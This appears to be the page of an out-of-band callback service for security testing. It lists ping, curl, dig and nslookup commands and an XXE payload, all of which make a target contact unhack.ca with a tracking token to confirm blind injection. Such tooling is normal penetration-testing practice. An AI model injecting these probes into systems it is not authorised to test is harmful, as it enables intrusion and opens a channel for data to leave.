$ ping -c1 -p 00ac3171a6dedfdcb0cc176ca7eca300 unhack.ca
 
$ curl http://unhack.ca/p/ac3171a6dedfdcb0cc176ca7eca3
 
$ dig ac3171a6dedfdcb0cc176ca7eca3 @unhack.ca
 
$ dig ac3171a6dedfdcb0cc176ca7eca3.ns.unhack.ca
 
C:\> nslookup ac3171a6dedfdcb0cc176ca7eca3 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ac3171a6dedfdcb0cc176ca7eca3">]>
    <foo>&xxe;</foo>
Waiting for ping...